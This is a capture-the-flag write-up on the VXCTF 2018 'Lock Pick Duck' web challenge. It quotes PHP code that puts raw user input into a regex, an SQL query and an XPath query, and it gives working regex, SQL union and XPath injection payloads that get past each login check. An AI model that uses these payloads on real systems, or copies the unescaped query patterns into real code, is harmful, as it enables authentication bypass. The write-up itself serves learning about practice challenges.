What I learn from Lock Pick Duck of VXCTF

Lock Pick Duck

Maybe the link of challenge still exists.
This is one of the web challenge in VXCTF 2018. Two challenges share the same source code. The critical point of source code just take little part of it, so I will just paste link of it here: Lock Pick Duck source code

if($flag >= 3) printf("Flag 1: %s\n", $flag1); 
if($flag == 6) printf("Flag 2: %s\n", $flag2); 

At the end of challenge I see this part of code, thus I can realize that if I do injection successfully at least three time, I can get the first flag. And I can get the second flag if I finish all injection successfully. Now, the puspose of the challenge is clear.

preg_match

Here I will introduce the way to pass csvdb1 and csvdb2. In this part, I can make injection on regular expression of preg_match. Following is the source code:

if(@preg_match("/^$U,$P$/m", $csvdb)){
    $flag++; echo "csvdb1\n";
}

preg_match("/^$U,($P)$/m", $csvdb, $csvpass);
if(@$csvpass[1] === $P){
    $flag++; echo "csvdb2\n";
}

For csvdb1, I can pass with following two payload:

  1. username=(.*)|&password
    /^(.*)|,$/m can be used to match any words or ,
  2. username=|&password
    /^|,$/m can be used to match ,

For csvdb2, I need to know that csvpass[1] stores the match of the first sub-regular expression. I can pass with the following payload:

  1. username=()|&password
    /^()|,()$/m will catch empty string in csvpass[1] and it is same as our empty password.
    Here I also put back to csvdb1, /^()|,$/m can be used to match empty string or , in csv. Therefore, I can use this payload to pass csvdb1 and csvdb2 at the same time.

sql injection and combination

This part is so easy that I will just list my payload.

if(@$sqldb->querySingle("SELECT username FROM users WHERE username='$U' AND password='$P'") == TRUE){
    $flag++; echo "sqldb1\n";
}

$sqlpass = @$sqldb->querySingle("SELECT password FROM users WHERE username='$U' AND password='$P'");
if($sqlpass === $P){
    $flag++;
    echo "sqldb2\n";
}

My payload: username=' union select 'a'--+&password=a can pass sqldb1 and sqldb2 at the same time. Here I can make a combination of sql injection and reg injection. From the perspective of sql injection, I need to union select to return password 'a' to the query, then $sqlpass === $P. From the perspective of reg injection, I match the empty string and $csvpass[1] === $P. So, how to solve the conflict between string and empty string? In fact, it is easy, I just make need to make csvpass[1] store others than empty string.

username=(a)|' union select 'a'--&password=a

This payload can match the character 'a' in the db and also work as sql injection. What’s interesting is that I can not guarantee there is character 'a' in db. Therefore, I need to submit the payload for several times to generate randomly 'a'.

xpath injection

It is lucky that first level of xpath injection is similiar to sql injection so much.

if(@$xmldb->xpath("//users/user[username='$U' and password='$P']") == TRUE){
    $flag++; echo "xmldb1\n";
}

$xmlpass = print_r(@$xmldb->xpath("//users/user[username='$U' and password='$P']/password"), TRUE);
if(@strpos($xmlpass, $P) !== FALSE){
    $flag++; echo "xmldb2\n";
}

To pass xmldb1, I use this payload:

  1. username=a' or ''='&password=a' or ''='
    This payload can be used in sqldb1 and xmldb1.

Then here comes most interesting part to pass xmldb2, I use this payload:

  1. username=&password=a
  2. username=&password=r
  3. username=&password=y
    First, I need to realize the data structure of $xmlpass which is returned by xpath is array. Therefore, if the result is NULL, $xmlpass will store array(). Second, $xmlpass will be put into strpos() to match with controlled input. Here, xmlpass will be change into the string as array. Therefore, the chracter I match can be a, r, y. No matter what I input in the username, it will not influence xmldb2 success or not.

Reference

My Wp in chinese version